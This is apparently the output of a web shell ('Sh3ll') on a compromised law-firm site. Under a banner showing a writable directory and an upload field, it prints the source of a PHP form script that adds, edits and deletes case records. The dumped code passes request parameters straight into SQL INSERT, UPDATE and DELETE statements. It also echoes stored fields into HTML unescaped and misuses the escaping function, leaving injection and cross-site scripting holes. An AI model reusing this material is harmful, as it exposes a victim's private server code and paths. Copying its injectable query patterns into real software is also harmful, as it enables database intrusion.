Sh3ll



Directory :  /home/zjabogados/public_html/otrosscripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /home/zjabogados/public_html/otrosscripts/caso_art_accionado.php
<?php require_once('../../Connections/zyz.php'); ?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
{
  if (PHP_VERSION < 6) {
    $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
  }

  $theValue = function_exists("mysqli_real_escape_string") ? mysqli_real_escape_string($theValue) : mysqli_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

session_start();
$motorBD = $_SESSION['motorBD'];
$idusuario = $_SESSION['idusuario'];
require_once("../Libs/functionsjava.htm");
require_once("../Libs/functionsextra.php");

if (isset($_POST['paso'])) {
	$paso = $_POST['paso'];
	}
else {
	$paso = 0;
	}

if (isset($_POST['tb_caso_art'])) {
	$tb_caso_art = $_POST['tb_caso_art'];
	}
else {
	$tb_caso_art = $_GET['tb_caso_art'];
	}

if (isset($_POST['id_accionado_art'])) {
	$id_accionado_art = $_POST['id_accionado_art'];
	}
else {
	$id_accionado_art = $_GET['id_accionado_art'];
	}

if (isset($_POST['acc'])) {
	$acc = $_POST['acc'];
	}
else {
	$acc = $_GET['acc'];
	}

$desabilitado = '';
if ($acc == 'I') {
	$etiqueta_boton = 'Agregar';
	}
if ($acc == 'M') {
	$etiqueta_boton = 'Modificar';
	}
if ($acc == 'B') {
	$etiqueta_boton = 'Borrar';
	$desabilitado = 'disabled = "disabled"';
	}

if ($paso == 1) {
	$tb_art = DarFormato($_POST['tb_art'], 'n');
	$abogado = DarFormato($_POST['abogado'], 'c');
	$tel_abogado = DarFormato($_POST['tel_abogado'], 'c');
	$sucursal = DarFormato($_POST['sucursal'], 'c');
	$domicilio_de_la_sucursal = DarFormato($_POST['domicilio_de_la_sucursal'], 'c');
	$telefonos = DarFormato($_POST['telefonos'], 'c');
	$fax = DarFormato($_POST['fax'], 'c');
	$observaciones = DarFormato($_POST['observaciones'], 'c');

	if ($acc == 'I') {
		$sql = "Insert Into tb_accionado_art (tb_caso_art, tb_art, abogado, tel_abogado, sucursal, domicilio_de_la_sucursal, telefonos, fax, observaciones) VALUES ($tb_caso_art, $tb_art, $abogado, $tel_abogado, $sucursal, $domicilio_de_la_sucursal, $telefonos, $fax, $observaciones)";
		mysqli_query($zyz, $sql) or die(mysqli_error());
		}
	if ($acc == 'M') {
		$sql = "UPDATE tb_accionado_art SET tb_art = $tb_art, abogado = $abogado, tel_abogado = $tel_abogado, sucursal = $sucursal, domicilio_de_la_sucursal = $domicilio_de_la_sucursal, telefonos = $telefonos, fax = $fax, observaciones = $observaciones WHERE id_accionado_art = $id_accionado_art";
		mysqli_query($zyz, $sql) or die(mysqli_error());
		}
	if ($acc == 'B') {
		$sql = "DELETE FROM tb_accionado_art WHERE id_accionado_art = $id_accionado_art";
		mysqli_query($zyz, $sql) or die(mysqli_error());
		}
	?>
<script language="JavaScript">
	opener.parent.rightFrame.document.form_actualizar.valor.value = '';
	opener.parent.rightFrame.document.form_actualizar.campo.value = 'otra';
	opener.parent.rightFrame.document.form_actualizar.acc.value = 'R';
	opener.parent.rightFrame.document.form_actualizar.submit();
	window.close();
	</script>
	<?php
	}

?>


<?php
$colname_rs_accionado = "-1";
if (isset($id_accionado_art)) {
  $colname_rs_accionado = $id_accionado_art;
}
mysqli_select_db($zyz, $database_zyz);
$query_rs_accionado = sprintf("SELECT * FROM tb_accionado_art WHERE id_accionado_art = %s", GetSQLValueString($colname_rs_accionado, "int"));
$rs_accionado = mysqli_query($zyz, $query_rs_accionado) or die(mysqli_error());
$row_rs_accionado = mysqli_fetch_assoc($rs_accionado);
$totalRows_rs_accionado = mysqli_num_rows($rs_accionado);

mysqli_select_db($zyz, $database_zyz);
$query_rs_art = "SELECT id_art, nombre_o_razon_social art FROM tb_art  ORDER BY nombre_o_razon_social";
$rs_art = mysqli_query($zyz, $query_rs_art) or die(mysqli_error());
$row_rs_art = mysqli_fetch_assoc($rs_art);
$totalRows_rs_art = mysqli_num_rows($rs_art);

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/Contenido.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<title>Documento sin t&iacute;tulo</title>
<!-- InstanceEndEditable --><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body {
	background-color: #FFFFFF;
	margin-left: 0px;
	margin-top: 0px;
}
body,td,th {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 9px;
}
-->
</style>
<!-- InstanceBeginEditable name="head" -->
<style type="text/css">
<!--
.Estilo1 {
	color: #FFFFFF;
	font-weight: bold;
}
-->
</style>
<!-- InstanceEndEditable -->
</head>

<body>
<table border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td><table border="0" align="center" cellpadding="0" cellspacing="10">
      <tr>
        <td><!-- InstanceBeginEditable name="Contenido" -->
          <table width="450" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="28"><img src="../img/tabla_tit_izq.jpg" width="28" height="40"></td>
                  <td valign="bottom" background="../img/tabla_tit_med.jpg"><table border="0" cellspacing="8" cellpadding="1">
                      <tr>
                        <td><span class="Estilo1">ACCIONADOS DEL CASO </span> </td>
                      </tr>
                  </table></td>
                  <td width="28"><img src="../img/tabla_tit_der.jpg" width="28" height="40"></td>
                </tr>
              </table></td>
              </tr>
            <tr>
              <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="13" background="../img/tabla_cont_izq.jpg">&nbsp;</td>
                    <td bgcolor="#9EC6EA"><table width="100%" border="0" cellspacing="4" cellpadding="4">
                      <tr>
                        <td><form method="post" name="form1" onsubmit="CalcularMontoCuota(); return Chequear(this);">
                            <table align="center">

                              <tr valign="baseline">
                                <td align="right" valign="top" nowrap>art:</td>
                                <td valign="top"><label>
                                  <select name="tb_art" id="art">
                                    <?php
do {
?>
                                    <option value="<?php echo $row_rs_art['id_art']?>"<?php if (!(strcmp($row_rs_art['id_art'], $row_rs_accionado['tb_art']))) {echo "selected=\"selected\"";} ?>><?php echo $row_rs_art['art']?></option>
                                    <?php
} while ($row_rs_art = mysqli_fetch_assoc($rs_art));
  $rows = mysqli_num_rows($rs_art);
  if($rows > 0) {
      mysqli_data_seek($rs_art, 0);
	  $row_rs_art = mysqli_fetch_assoc($rs_art);
  }
?>
                                  </select>
                                </label>
                                  * </td>
                              </tr>

                              <tr valign="baseline">
                                <td nowrap align="right">Abogado:</td>
                                <td><label>
                                  <input name="abogado" type="text" id="Abogado" value="<?php echo $row_rs_accionado['abogado']; ?>">
                                </label></td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right">Tel Abogado:</td>
                                <td><input name="tel_abogado" type="text" id="Tel abogado" value="<?php echo $row_rs_accionado['tel_abogado']; ?>"></td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right">Sucursal:</td>
                                <td><input name="sucursal" type="text" id="sucursal" value="<?php echo $row_rs_accionado['sucursal']; ?>" class="NO varchar">
                                  *</td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right">Domicilio de la sucursal:</td>
                                <td><input name="domicilio_de_la_sucursal" type="text" id="Domicilio de la sucursal" value="<?php echo $row_rs_accionado['domicilio_de_la_sucursal']; ?>"></td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right">Telefonos:</td>
                                <td><input name="telefonos" type="text" id="telefonos" value="<?php echo $row_rs_accionado['telefonos']; ?>"></td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right">Fax:</td>
                                <td><input name="fax" type="text" id="fax" value="<?php echo $row_rs_accionado['fax']; ?>"></td>
                              </tr>
                              <tr valign="baseline">
                                <td align="right" valign="top" nowrap>Observaciones:</td>
                                <td><textarea name="observaciones" id="Observaciones"><?php echo $row_rs_accionado['observaciones']; ?></textarea></td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right"><input name="acc" type="hidden" id="acc" value="<?php echo $acc ?>" size="32">
                                  <input name="id_accionado_art" type="hidden" value="<?php echo $id_accionado_art ?>">
                                  <input name="tb_caso_art" type="hidden" value="<?php echo $tb_caso_art ?>">
                                  <input name="paso" type="hidden" id="paso" value="<?php echo $paso+1 ?>" size="32"></td>
                                <td><input type="submit" value="<?php echo $etiqueta_boton ?>"></td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right">&nbsp;</td>
                                <td>&nbsp;</td>
                              </tr>
                            </table>
                            </form>
                          </td>
                      </tr>
                    </table></td>
                    <td width="13" background="../img/tabla_cont_der.jpg">&nbsp;</td>
                  </tr>
                </table>
                </td>
              </tr>
            <tr>
              <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="28"><img src="../img/tabla_pie_izq2.jpg" width="28" height="19"></td>
                  <td background="../img/tabla_pie_med2.jpg">&nbsp;</td>
                  <td width="28"><img src="../img/tabla_pie_der2.jpg" width="28" height="19"></td>
                </tr>
              </table>
                </td>
              </tr>
          </table>
        <!-- InstanceEndEditable --></td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
<!-- InstanceEnd --></html>
<?php
mysqli_free_result($rs_accionado);

mysqli_free_result($rs_art);
?>

Sh3LL